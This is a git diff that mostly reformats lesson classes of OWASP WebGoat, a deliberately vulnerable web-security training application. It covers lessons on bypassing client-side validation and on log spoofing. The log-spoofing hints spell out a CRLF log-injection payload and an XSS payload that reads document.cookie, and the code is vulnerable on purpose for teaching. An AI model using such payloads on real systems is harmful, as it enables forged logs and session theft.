- ec.addElement(new Div().addElement(new StringElement(
- "Field4: enumeration of numbers (" + regex4 + ")")));
- ec.addElement(new Div().addElement(input4));
- ec.addElement(new P());
- ec.addElement(new Div().addElement(new StringElement(
- "Field5: simple zip code (" + regex5 + ")")));
- ec.addElement(new Div().addElement(input5));
- ec.addElement(new P());
- ec.addElement(new Div().addElement(new StringElement(
- "Field6: zip with optional dash four (" + regex6 + ")")));
- ec.addElement(new Div().addElement(input6));
- ec.addElement(new P());
- ec.addElement(new Div().addElement(new StringElement(
- "Field7: US phone number with or without dashes (" + regex7
- + ")")));
- ec.addElement(new Div().addElement(input7));
- ec.addElement(new P());
- ec.addElement(b);
+ ElementContainer ec = new ElementContainer();
- // Check the patterns on the server -- and note the errors in the response
- // these should never match unless the client side pattern script doesn't work
+ // Regular expressions in Java and JavaScript compatible form
- int err = 0;
- String msg = "";
+ // Note: if you want to use the regex=new RegExp(\"" + regex + "\");" syntax
- if (!pattern1.matcher(param1).matches())
- {
- err++;
- msg += " Server side validation violation: You succeeded for Field1.";
- }
+ // you'll have to use \\\\d to indicate a digit for example -- one escaping for Java and one
+ // for JavaScript
- if (!pattern2.matcher(param2).matches())
- {
- err++;
- msg += " Server side validation violation: You succeeded for Field2.";
- }
+ String regex1 = "^[a-z]{3}$";// any three lowercase letters
+ String regex2 = "^[0-9]{3}$";// any three digits
+ String regex3 = "^[a-zA-Z0-9 ]*$";// alphanumerics and space without punctuation
+ String regex4 = "^(one|two|three|four|five|six|seven|eight|nine)$";// enumeration of
+ // numbers
+ String regex5 = "^\\d{5}$";// simple zip code
+ String regex6 = "^\\d{5}(-\\d{4})?$";// zip with optional dash-four
+ String regex7 = "^[2-9]\\d{2}-?\\d{3}-?\\d{4}$";// US phone number with or without dashes
+ Pattern pattern1 = Pattern.compile(regex1);
+ Pattern pattern2 = Pattern.compile(regex2);
+ Pattern pattern3 = Pattern.compile(regex3);
+ Pattern pattern4 = Pattern.compile(regex4);
+ Pattern pattern5 = Pattern.compile(regex5);
+ Pattern pattern6 = Pattern.compile(regex6);
+ Pattern pattern7 = Pattern.compile(regex7);
+ String lineSep = System.getProperty("line.separator");
+ String script = "" + lineSep;
+ try
+ {
+ String param1 = s.getParser().getRawParameter("field1", "abc");
+ String param2 = s.getParser().getRawParameter("field2", "123");
+ String param3 = s.getParser().getRawParameter("field3", "abc 123 ABC");
+ String param4 = s.getParser().getRawParameter("field4", "seven");
+ String param5 = s.getParser().getRawParameter("field5", "90210");
+ String param6 = s.getParser().getRawParameter("field6", "90210-1111");
+ String param7 = s.getParser().getRawParameter("field7", "301-604-4882");
+ ec.addElement(new StringElement(script));
+ TextArea input1 = new TextArea("field1", 1, 25).addElement(param1);
+ TextArea input2 = new TextArea("field2", 1, 25).addElement(param2);
+ TextArea input3 = new TextArea("field3", 1, 25).addElement(param3);
+ TextArea input4 = new TextArea("field4", 1, 25).addElement(param4);
+ TextArea input5 = new TextArea("field5", 1, 25).addElement(param5);
+ TextArea input6 = new TextArea("field6", 1, 25).addElement(param6);
+ TextArea input7 = new TextArea("field7", 1, 25).addElement(param7);
- if (!pattern3.matcher(param3).matches())
- {
- err++;
- msg += " Server side validation violation: You succeeded for Field3.";
- }
+ Input b = new Input();
+ b.setType(Input.BUTTON);
+ b.setValue("Submit");
+ b.addAttribute("onclick", "validate();");
+ ec.addElement(new Div().addElement(new StringElement("Field1: exactly three lowercase characters ("
+ + regex1 + ")")));
+ ec.addElement(new Div().addElement(input1));
+ ec.addElement(new P());
+ ec.addElement(new Div().addElement(new StringElement("Field2: exactly three digits (" + regex2 + ")")));
+ ec.addElement(new Div().addElement(input2));
+ ec.addElement(new P());
+ ec.addElement(new Div().addElement(new StringElement("Field3: letters, numbers, and space only (" + regex3
+ + ")")));
+ ec.addElement(new Div().addElement(input3));
+ ec.addElement(new P());
+ ec.addElement(new Div().addElement(new StringElement("Field4: enumeration of numbers (" + regex4 + ")")));
+ ec.addElement(new Div().addElement(input4));
+ ec.addElement(new P());
+ ec.addElement(new Div().addElement(new StringElement("Field5: simple zip code (" + regex5 + ")")));
+ ec.addElement(new Div().addElement(input5));
+ ec.addElement(new P());
+ ec.addElement(new Div()
+ .addElement(new StringElement("Field6: zip with optional dash four (" + regex6 + ")")));
+ ec.addElement(new Div().addElement(input6));
+ ec.addElement(new P());
+ ec.addElement(new Div().addElement(new StringElement("Field7: US phone number with or without dashes ("
+ + regex7 + ")")));
+ ec.addElement(new Div().addElement(input7));
+ ec.addElement(new P());
+ ec.addElement(b);
- if (!pattern4.matcher(param4).matches())
- {
- err++;
- msg += " Server side validation violation: You succeeded for Field4.";
- }
+ // Check the patterns on the server -- and note the errors in the response
+ // these should never match unless the client side pattern script doesn't work
- if (!pattern5.matcher(param5).matches())
- {
- err++;
- msg += " Server side validation violation: You succeeded for Field5.";
- }
+ int err = 0;
+ String msg = "";
- if (!pattern6.matcher(param6).matches())
- {
- err++;
- msg += " Server side validation violation: You succeeded for Field6.";
- }
+ if (!pattern1.matcher(param1).matches())
+ {
+ err++;
+ msg += " Server side validation violation: You succeeded for Field1.";
+ }
- if (!pattern7.matcher(param7).matches())
- {
- err++;
- msg += " Server side validation violation: You succeeded for Field7.";
- }
+ if (!pattern2.matcher(param2).matches())
+ {
+ err++;
+ msg += " Server side validation violation: You succeeded for Field2.";
+ }
- if (err > 0)
- {
- s.setMessage(msg);
- }
- if (err >= 7)
- {
- // This means they defeated all the client side checks
- makeSuccess(s);
- }
+ if (!pattern3.matcher(param3).matches())
+ {
+ err++;
+ msg += " Server side validation violation: You succeeded for Field3.";
+ }
+
+ if (!pattern4.matcher(param4).matches())
+ {
+ err++;
+ msg += " Server side validation violation: You succeeded for Field4.";
+ }
+
+ if (!pattern5.matcher(param5).matches())
+ {
+ err++;
+ msg += " Server side validation violation: You succeeded for Field5.";
+ }
+
+ if (!pattern6.matcher(param6).matches())
+ {
+ err++;
+ msg += " Server side validation violation: You succeeded for Field6.";
+ }
+
+ if (!pattern7.matcher(param7).matches())
+ {
+ err++;
+ msg += " Server side validation violation: You succeeded for Field7.";
+ }
+
+ if (err > 0)
+ {
+ s.setMessage(msg);
+ }
+ if (err >= 7)
+ {
+ // This means they defeated all the client side checks
+ makeSuccess(s);
+ }
+ }
+
+ catch (Exception e)
+ {
+ s.setMessage("Error generating " + this.getClass().getName());
+ e.printStackTrace();
+ }
+
+ return (ec);
}
- catch (Exception e)
+ /**
+ * DOCUMENT ME!
+ *
+ * @return DOCUMENT ME!
+ */
+ protected Category getDefaultCategory()
{
- s.setMessage("Error generating " + this.getClass().getName());
- e.printStackTrace();
+ return Category.UNVALIDATED_PARAMETERS;
}
- return (ec);
- }
+ /**
+ * Gets the hints attribute of the AccessControlScreen object
+ *
+ * @return The hints value
+ */
+ protected List getHints(WebSession s)
+ {
+ List hints = new ArrayList();
+ hints.add("The validation is happening in your browser.");
+ hints.add("Try modifying the values with a proxy after they leave your browser");
+ hints.add("Another way is to delete the JavaScript before you view the page.");
- /**
- * DOCUMENT ME!
- *
- * @return DOCUMENT ME!
- */
- protected Category getDefaultCategory()
- {
- return Category.UNVALIDATED_PARAMETERS;
- }
+ return hints;
+ }
+ /**
+ * Gets the instructions attribute of the WeakAccessControl object
+ *
+ * @return The instructions value
+ */
+ public String getInstructions(WebSession s)
+ {
+ String instructions = "This website performs both client and server side validation. "
+ + "For this exercise, your job is to break the client side validation and send the "
+ + " website input that it wasn't expecting."
+ + " You must break all 7 validators at the same time. ";
+ return (instructions);
+ }
- /**
- * Gets the hints attribute of the AccessControlScreen object
- *
- * @return The hints value
- */
- protected List getHints(WebSession s)
- {
- List hints = new ArrayList();
+ private final static Integer DEFAULT_RANKING = new Integer(120);
- hints.add("The validation is happening in your browser.");
- hints
- .add("Try modifying the values with a proxy after they leave your browser");
- hints
- .add("Another way is to delete the JavaScript before you view the page.");
+ protected Integer getDefaultRanking()
+ {
+ return DEFAULT_RANKING;
+ }
- return hints;
- }
+ /**
+ * Gets the title attribute of the AccessControlScreen object
+ *
+ * @return The title value
+ */
+ public String getTitle()
+ {
+ return ("Bypass Client Side JavaScript Validation");
+ }
-
- /**
- * Gets the instructions attribute of the WeakAccessControl object
- *
- * @return The instructions value
- */
- public String getInstructions(WebSession s)
- {
- String instructions = "This website performs both client and server side validation. "
- + "For this exercise, your job is to break the client side validation and send the "
- + " website input that it wasn't expecting."
- + " You must break all 7 validators at the same time. ";
- return (instructions);
- }
-
- private final static Integer DEFAULT_RANKING = new Integer(120);
-
-
- protected Integer getDefaultRanking()
- {
- return DEFAULT_RANKING;
- }
-
-
- /**
- * Gets the title attribute of the AccessControlScreen object
- *
- * @return The title value
- */
- public String getTitle()
- {
- return ("Bypass Client Side JavaScript Validation");
- }
-
- public Element getCredits()
- {
- return super.getCustomCredits("", ASPECT_LOGO);
- }
+ public Element getCredits()
+ {
+ return super.getCustomCredits("", ASPECT_LOGO);
+ }
}
diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/LessonAdapter.java b/main/project/JavaSource/org/owasp/webgoat/lessons/LessonAdapter.java
index 47ef1765f..a1e14e1b4 100644
--- a/main/project/JavaSource/org/owasp/webgoat/lessons/LessonAdapter.java
+++ b/main/project/JavaSource/org/owasp/webgoat/lessons/LessonAdapter.java
@@ -1,10 +1,10 @@
+
package org.owasp.webgoat.lessons;
import java.io.BufferedReader;
import java.io.FileReader;
import java.util.ArrayList;
import java.util.List;
-
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement;
@@ -18,274 +18,254 @@ import org.apache.ecs.html.TR;
import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.WebSession;
-/*******************************************************************************
+
+/***************************************************************************************************
*
*
- * This file is part of WebGoat, an Open Web Application Security Project
- * utility. For details, please see http://www.owasp.org/
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
- * This program is free software; you can redistribute it and/or modify it under
- * the terms of the GNU General Public License as published by the Free Software
- * Foundation; either version 2 of the License, or (at your option) any later
- * version.
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
*
- * This program is distributed in the hope that it will be useful, but WITHOUT
- * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
- * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
- * details.
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
*
- * You should have received a copy of the GNU General Public License along with
- * this program; if not, write to the Free Software Foundation, Inc., 59 Temple
- * Place - Suite 330, Boston, MA 02111-1307, USA.
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
*
* Getting Source ==============
*
- * Source for this application is maintained at code.google.com, a repository
- * for free software projects.
+ * Source for this application is maintained at code.google.com, a repository for free software
+ * projects.
*
* For details, please see http://code.google.com/p/webgoat/
- *
- * @author Bruce Mayhew WebGoat
- * @created October 28, 2003
+ *
+ * @author Bruce Mayhew WebGoat
+ * @created October 28, 2003
*/
public abstract class LessonAdapter extends AbstractLesson
{
+ /**
+ * Description of the Method
+ *
+ * @param s
+ * Description of the Parameter
+ * @return Description of the Return Value
+ */
+ protected Element createContent(WebSession s)
+ {
+ // Mark this lesson as completed.
+ makeSuccess(s);
- /**
- * Description of the Method
- *
- * @param s Description of the Parameter
- * @return Description of the Return Value
- */
- protected Element createContent(WebSession s)
- {
- // Mark this lesson as completed.
- makeSuccess(s);
+ ElementContainer ec = new ElementContainer();
- ElementContainer ec = new ElementContainer();
-
- ec
- .addElement(new Center().addElement(new H3()
- .addElement(new StringElement(
+ ec.addElement(new Center().addElement(new H3().addElement(new StringElement(
"Detailed Lesson Creation Instructions."))));
- ec.addElement(new P());
- ec
- .addElement(new StringElement(
- "Lesson are simple to create and very little coding is required. "
- + "In fact, most lessons can be created by following the easy to use instructions in the "
- + "WebGoat User Guide. "
- + "If you would prefer, send your lesson ideas to "
- + getWebgoatContext().getFeedbackAddress()));
+ ec.addElement(new P());
+ ec
+ .addElement(new StringElement(
+ "Lesson are simple to create and very little coding is required. "
+ + "In fact, most lessons can be created by following the easy to use instructions in the "
+ + "WebGoat User Guide. "
+ + "If you would prefer, send your lesson ideas to "
+ + getWebgoatContext().getFeedbackAddress()));
- String fileName = s.getContext().getRealPath(
- "doc/New Lesson Instructions.txt");
- if (fileName != null)
- {
- try
- {
- PRE pre = new PRE();
- BufferedReader in = new BufferedReader(new FileReader(fileName));
- String line = null;
- while ((line = in.readLine()) != null)
+ String fileName = s.getContext().getRealPath("doc/New Lesson Instructions.txt");
+ if (fileName != null)
{
- pre.addElement(line + "\n");
+ try
+ {
+ PRE pre = new PRE();
+ BufferedReader in = new BufferedReader(new FileReader(fileName));
+ String line = null;
+ while ((line = in.readLine()) != null)
+ {
+ pre.addElement(line + "\n");
+ }
+ ec.addElement(pre);
+ } catch (Exception e)
+ {
+ e.printStackTrace();
+ }
}
- ec.addElement(pre);
- }
- catch (Exception e)
- {
- e.printStackTrace();
- }
+ return (ec);
}
- return (ec);
- }
-
- /**
- * Gets the category attribute of the LessonAdapter object. The default category is "General" Only
- * override this method if you wish to create a new category or if you wish this lesson to reside
- * within a category other the "General"
- *
- * @return The category value
- */
- protected Category getDefaultCategory()
- {
- return Category.GENERAL;
- }
-
-
- protected boolean getDefaultHidden()
- {
- return false;
- }
-
- private final static Integer DEFAULT_RANKING = new Integer(1000);
-
-
- protected Integer getDefaultRanking()
- {
- return DEFAULT_RANKING;
- }
-
-
- /**
- * Gets the hintCount attribute of the LessonAdapter object
- *
- * @return The hintCount value
- */
- public int getHintCount(WebSession s)
- {
- return getHints(s).size();
- }
-
-
- /**
- * Fill in a minor hint that will help people who basically get it, but are stuck on somthing
- * silly. Hints will be returned to the user in the order they appear below. The user must click
- * on the "next hint" button before the hint will be displayed.
- *
- * @return The hint1 value
- */
- protected List getHints(WebSession s)
- {
- List hints = new ArrayList();
- hints.add("There are no hints defined.");
-
- return hints;
- }
-
-
- public String getHint(WebSession s, int hintNumber)
- {
- return (String) getHints(s).get(hintNumber);
- }
-
-
- /**
- * Gets the credits attribute of the AbstractLesson object
- *
- * @return The credits value
- */
- public Element getCredits()
- {
- return new StringElement();
- }
-
-
- /**
- * Gets the instructions attribute of the LessonAdapter object. Instructions will rendered as html
- * and will appear below the control area and above the actual lesson area. Instructions should
- * provide the user with the general setup and goal of the lesson.
- *
- * @return The instructions value
- */
- public String getInstructions(WebSession s)
- {
- StringBuffer buff = new StringBuffer();
- try
+ /**
+ * Gets the category attribute of the LessonAdapter object. The default category is "General"
+ * Only override this method if you wish to create a new category or if you wish this lesson to
+ * reside within a category other the "General"
+ *
+ * @return The category value
+ */
+ protected Category getDefaultCategory()
{
- String fileName = s.getWebResource(getLessonPlanFileName());
- if (fileName != null)
- {
- BufferedReader in = new BufferedReader(new FileReader(fileName));
- String line = null;
- boolean startAppending = false;
- while ((line = in.readLine()) != null)
- {
- if (line.indexOf("") != -1)
- {
- startAppending = true;
- continue;
- }
- if (line.indexOf("") != -1)
- {
- startAppending = false;
- continue;
- }
- if (startAppending)
- {
- buff.append(line + "\n");
- }
- }
- }
+ return Category.GENERAL;
}
- catch (Exception e)
- {}
- return buff.toString();
+ protected boolean getDefaultHidden()
+ {
+ return false;
+ }
- }
+ private final static Integer DEFAULT_RANKING = new Integer(1000);
+ protected Integer getDefaultRanking()
+ {
+ return DEFAULT_RANKING;
+ }
- /**
- * Fill in a descriptive title for this lesson. The title of the lesson. This will appear above
- * the control area at the top of the page. This field will be rendered as html.
- *
- * @return The title value
- */
- public String getTitle()
- {
- return "Untitled Lesson " + getScreenId();
- }
+ /**
+ * Gets the hintCount attribute of the LessonAdapter object
+ *
+ * @return The hintCount value
+ */
+ public int getHintCount(WebSession s)
+ {
+ return getHints(s).size();
+ }
+ /**
+ * Fill in a minor hint that will help people who basically get it, but are stuck on somthing
+ * silly. Hints will be returned to the user in the order they appear below. The user must click
+ * on the "next hint" button before the hint will be displayed.
+ *
+ * @return The hint1 value
+ */
+ protected List getHints(WebSession s)
+ {
+ List hints = new ArrayList();
+ hints.add("There are no hints defined.");
- public String getCurrentAction(WebSession s)
- {
- return s.getLessonSession(this).getCurrentLessonScreen();
- }
+ return hints;
+ }
+ public String getHint(WebSession s, int hintNumber)
+ {
+ return (String) getHints(s).get(hintNumber);
+ }
- public void setCurrentAction(WebSession s, String lessonScreen)
- {
- s.getLessonSession(this).setCurrentLessonScreen(lessonScreen);
- }
+ /**
+ * Gets the credits attribute of the AbstractLesson object
+ *
+ * @return The credits value
+ */
+ public Element getCredits()
+ {
+ return new StringElement();
+ }
+ /**
+ * Gets the instructions attribute of the LessonAdapter object. Instructions will rendered as
+ * html and will appear below the control area and above the actual lesson area. Instructions
+ * should provide the user with the general setup and goal of the lesson.
+ *
+ * @return The instructions value
+ */
+ public String getInstructions(WebSession s)
+ {
+ StringBuffer buff = new StringBuffer();
+ try
+ {
+ String fileName = s.getWebResource(getLessonPlanFileName());
+ if (fileName != null)
+ {
+ BufferedReader in = new BufferedReader(new FileReader(fileName));
+ String line = null;
+ boolean startAppending = false;
+ while ((line = in.readLine()) != null)
+ {
+ if (line.indexOf("") != -1)
+ {
+ startAppending = true;
+ continue;
+ }
+ if (line.indexOf("") != -1)
+ {
+ startAppending = false;
+ continue;
+ }
+ if (startAppending)
+ {
+ buff.append(line + "\n");
+ }
+ }
+ }
+ } catch (Exception e)
+ {
+ }
- public Object getSessionAttribute(WebSession s, String key)
- {
- return s.getRequest().getSession().getAttribute(key);
- }
+ return buff.toString();
+ }
- public void setSessionAttribute(WebSession s, String key, Object value)
- {
- s.getRequest().getSession().setAttribute(key, value);
- }
+ /**
+ * Fill in a descriptive title for this lesson. The title of the lesson. This will appear above
+ * the control area at the top of the page. This field will be rendered as html.
+ *
+ * @return The title value
+ */
+ public String getTitle()
+ {
+ return "Untitled Lesson " + getScreenId();
+ }
+ public String getCurrentAction(WebSession s)
+ {
+ return s.getLessonSession(this).getCurrentLessonScreen();
+ }
- /**
- * Description of the Method
- *
- * @param s Description of the Parameter
- * @return Description of the Return Value
- */
- protected Element makeSuccess(WebSession s)
- {
- getLessonTracker(s).setCompleted(true);
+ public void setCurrentAction(WebSession s, String lessonScreen)
+ {
+ s.getLessonSession(this).setCurrentLessonScreen(lessonScreen);
+ }
- s
- .setMessage("Congratulations. You have successfully completed this lesson.");
+ public Object getSessionAttribute(WebSession s, String key)
+ {
+ return s.getRequest().getSession().getAttribute(key);
+ }
- return (null);
- }
+ public void setSessionAttribute(WebSession s, String key, Object value)
+ {
+ s.getRequest().getSession().setAttribute(key, value);
+ }
+ /**
+ * Description of the Method
+ *
+ * @param s
+ * Description of the Parameter
+ * @return Description of the Return Value
+ */
+ protected Element makeSuccess(WebSession s)
+ {
+ getLessonTracker(s).setCompleted(true);
- /**
- * Gets the credits attribute of the AbstractLesson object
- *
- * @return The credits value
- */
- protected Element getCustomCredits(String text, Element e)
- {
+ s.setMessage("Congratulations. You have successfully completed this lesson.");
+
+ return (null);
+ }
+
+ /**
+ * Gets the credits attribute of the AbstractLesson object
+ *
+ * @return The credits value
+ */
+ protected Element getCustomCredits(String text, Element e)
+ {
Table t = new Table().setCellSpacing(0).setCellPadding(0).setBorder(0).setWidth("90%").setAlign("RIGHT");
TR tr = new TR();
tr.addElement(new TD(text).setVAlign("MIDDLE").setAlign("RIGHT").setWidth("100%"));
tr.addElement(new TD(e).setVAlign("MIDDLE").setAlign("RIGHT"));
t.addElement(tr);
return t;
- }
-
+ }
+
}
diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/LogSpoofing.java b/main/project/JavaSource/org/owasp/webgoat/lessons/LogSpoofing.java
index 13081b3af..2181706f8 100644
--- a/main/project/JavaSource/org/owasp/webgoat/lessons/LogSpoofing.java
+++ b/main/project/JavaSource/org/owasp/webgoat/lessons/LogSpoofing.java
@@ -1,10 +1,10 @@
+
package org.owasp.webgoat.lessons;
import java.io.UnsupportedEncodingException;
import java.net.URLDecoder;
import java.util.ArrayList;
import java.util.List;
-
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.HtmlColor;
@@ -18,157 +18,145 @@ import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession;
-/*******************************************************************************
+
+/***************************************************************************************************
*
*
- * This file is part of WebGoat, an Open Web Application Security Project
- * utility. For details, please see http://www.owasp.org/
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
- * This program is free software; you can redistribute it and/or modify it under
- * the terms of the GNU General Public License as published by the Free Software
- * Foundation; either version 2 of the License, or (at your option) any later
- * version.
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
*
- * This program is distributed in the hope that it will be useful, but WITHOUT
- * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
- * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
- * details.
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
*
- * You should have received a copy of the GNU General Public License along with
- * this program; if not, write to the Free Software Foundation, Inc., 59 Temple
- * Place - Suite 330, Boston, MA 02111-1307, USA.
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
*
* Getting Source ==============
*
- * Source for this application is maintained at code.google.com, a repository
- * for free software projects.
+ * Source for this application is maintained at code.google.com, a repository for free software
+ * projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
- * @author Sherif Koussa Macadamian Technologies
- * @created October 28, 2006
+ * @author Sherif Koussa Macadamian Technologies
+ * @created October 28, 2006
*/
public class LogSpoofing extends LessonAdapter
{
- private static final String USERNAME = "username";
+ private static final String USERNAME = "username";
- private static final String PASSWORD = "password";
+ private static final String PASSWORD = "password";
- private final static IMG MAC_LOGO = new IMG("images/logos/macadamian.gif").setAlt(
- "Macadamian Technologies").setBorder(0).setHspace(0).setVspace(0);
+ private final static IMG MAC_LOGO = new IMG("images/logos/macadamian.gif").setAlt("Macadamian Technologies")
+ .setBorder(0).setHspace(0).setVspace(0);
- protected Element createContent(WebSession s)
- {
-
- ElementContainer ec = null;
- String inputUsername = null;
- try
+ protected Element createContent(WebSession s)
{
- Table t = new Table(0).setCellSpacing(0).setCellPadding(0)
- .setBorder(0);
- TR row1 = new TR();
- TR row2 = new TR();
- TR row3 = new TR();
+ ElementContainer ec = null;
+ String inputUsername = null;
+ try
+ {
- row1.addElement(new TD(new StringElement("Username: ")));
- Input username = new Input(Input.TEXT, USERNAME, "");
- row1.addElement(new TD(username));
+ Table t = new Table(0).setCellSpacing(0).setCellPadding(0).setBorder(0);
+ TR row1 = new TR();
+ TR row2 = new TR();
+ TR row3 = new TR();
- row2.addElement(new TD(new StringElement("Password: ")));
- Input password = new Input(Input.PASSWORD, PASSWORD, "");
- row2.addElement(new TD(password));
+ row1.addElement(new TD(new StringElement("Username: ")));
+ Input username = new Input(Input.TEXT, USERNAME, "");
+ row1.addElement(new TD(username));
- Element b = ECSFactory.makeButton("Login");
- row3.addElement(new TD(new StringElement(" ")));
- row3.addElement(new TD(b)).setAlign("right");
+ row2.addElement(new TD(new StringElement("Password: ")));
+ Input password = new Input(Input.PASSWORD, PASSWORD, "");
+ row2.addElement(new TD(password));
- t.addElement(row1);
- t.addElement(row2);
- t.addElement(row3);
+ Element b = ECSFactory.makeButton("Login");
+ row3.addElement(new TD(new StringElement(" ")));
+ row3.addElement(new TD(b)).setAlign("right");
- ec = new ElementContainer();
- ec.addElement(t);
+ t.addElement(row1);
+ t.addElement(row2);
+ t.addElement(row3);
- inputUsername = new String(s.getParser().getRawParameter(USERNAME,
- ""));
- if (inputUsername.length() != 0)
- {
- inputUsername = URLDecoder.decode(inputUsername, "UTF-8");
- }
+ ec = new ElementContainer();
+ ec.addElement(t);
- ec.addElement(new PRE(" "));
+ inputUsername = new String(s.getParser().getRawParameter(USERNAME, ""));
+ if (inputUsername.length() != 0)
+ {
+ inputUsername = URLDecoder.decode(inputUsername, "UTF-8");
+ }
- Table t2 = new Table(0).setCellSpacing(0).setCellPadding(0)
- .setBorder(0);
- TR row4 = new TR();
- row4.addElement(
- new TD(new PRE("Login failed for username: "
- + inputUsername))).setBgColor(HtmlColor.GRAY);
+ ec.addElement(new PRE(" "));
- t2.addElement(row4);
+ Table t2 = new Table(0).setCellSpacing(0).setCellPadding(0).setBorder(0);
+ TR row4 = new TR();
+ row4.addElement(new TD(new PRE("Login failed for username: " + inputUsername))).setBgColor(HtmlColor.GRAY);
- ec.addElement(t2);
+ t2.addElement(row4);
- if (inputUsername.length() != 0
- && inputUsername.toUpperCase().indexOf(
- System.getProperty("line.separator")
- + "LOGIN SUCCEEDED FOR USERNAME:") >= 0)
- {
- makeSuccess(s);
- }
+ ec.addElement(t2);
+
+ if (inputUsername.length() != 0
+ && inputUsername.toUpperCase().indexOf(
+ System.getProperty("line.separator")
+ + "LOGIN SUCCEEDED FOR USERNAME:") >= 0)
+ {
+ makeSuccess(s);
+ }
+ } catch (UnsupportedEncodingException e)
+ {
+ s.setMessage("Error generating " + this.getClass().getName());
+ e.printStackTrace();
+ }
+ return ec;
}
- catch (UnsupportedEncodingException e)
+
+ private final static Integer DEFAULT_RANKING = new Integer(72);
+
+ protected Integer getDefaultRanking()
{
- s.setMessage("Error generating " + this.getClass().getName());
- e.printStackTrace();
+ return DEFAULT_RANKING;
}
- return ec;
- }
- private final static Integer DEFAULT_RANKING = new Integer(72);
+ @Override
+ protected List getHints(WebSession s)
+ {
+ List hints = new ArrayList();
+ hints.add("Try to fool the humane eye by using new lines.");
+ hints.add("Use CR (%0d) and LF (%0a) for a new line.");
+ hints.add("Try: Smith%0d%0aLogin Succeeded for username: admin");
+ hints
+ .add("Try: Smith%0d%0aLogin Succeeded for username: admin<script>alert(document.cookie)</script>");
+ return hints;
+ }
- protected Integer getDefaultRanking()
- {
- return DEFAULT_RANKING;
- }
+ @Override
+ public String getTitle()
+ {
+ return "Log Spoofing";
+ }
+ @Override
+ protected Category getDefaultCategory()
+ {
+ return Category.INJECTION;
+ }
- @Override
- protected List getHints(WebSession s)
- {
- List hints = new ArrayList();
- hints.add("Try to fool the humane eye by using new lines.");
- hints.add("Use CR (%0d) and LF (%0a) for a new line.");
- hints.add("Try: Smith%0d%0aLogin Succeeded for username: admin");
- hints
- .add("Try: Smith%0d%0aLogin Succeeded for username: admin<script>alert(document.cookie)</script>");
-
- return hints;
- }
-
-
- @Override
- public String getTitle()
- {
- return "Log Spoofing";
- }
-
-
- @Override
- protected Category getDefaultCategory()
- {
- return Category.INJECTION;
- }
-
-
- public Element getCredits()
- {
- return super.getCustomCredits("Created by Sherif Koussa ", MAC_LOGO);
- }
+ public Element getCredits()
+ {
+ return super.getCustomCredits("Created by Sherif Koussa ", MAC_LOGO);
+ }
}
diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/NewLesson.java b/main/project/JavaSource/org/owasp/webgoat/lessons/NewLesson.java
index 978148880..09d1c1d53 100644
--- a/main/project/JavaSource/org/owasp/webgoat/lessons/NewLesson.java
+++ b/main/project/JavaSource/org/owasp/webgoat/lessons/NewLesson.java
@@ -1,90 +1,88 @@
+
package org.owasp.webgoat.lessons;
import org.apache.ecs.Element;
import org.apache.ecs.StringElement;
import org.owasp.webgoat.session.WebSession;
-/*******************************************************************************
+
+/***************************************************************************************************
*
*
- * This file is part of WebGoat, an Open Web Application Security Project
- * utility. For details, please see http://www.owasp.org/
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
- * This program is free software; you can redistribute it and/or modify it under
- * the terms of the GNU General Public License as published by the Free Software
- * Foundation; either version 2 of the License, or (at your option) any later
- * version.
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
*
- * This program is distributed in the hope that it will be useful, but WITHOUT
- * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
- * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
- * details.
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
*
- * You should have received a copy of the GNU General Public License along with
- * this program; if not, write to the Free Software Foundation, Inc., 59 Temple
- * Place - Suite 330, Boston, MA 02111-1307, USA.
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
*
* Getting Source ==============
*
- * Source for this application is maintained at code.google.com, a repository
- * for free software projects.
+ * Source for this application is maintained at code.google.com, a repository for free software
+ * projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
- * @author Sherif Koussa Macadamian Technologies.
- * @created October 28, 2003
+ * @author Sherif Koussa Macadamian Technologies.
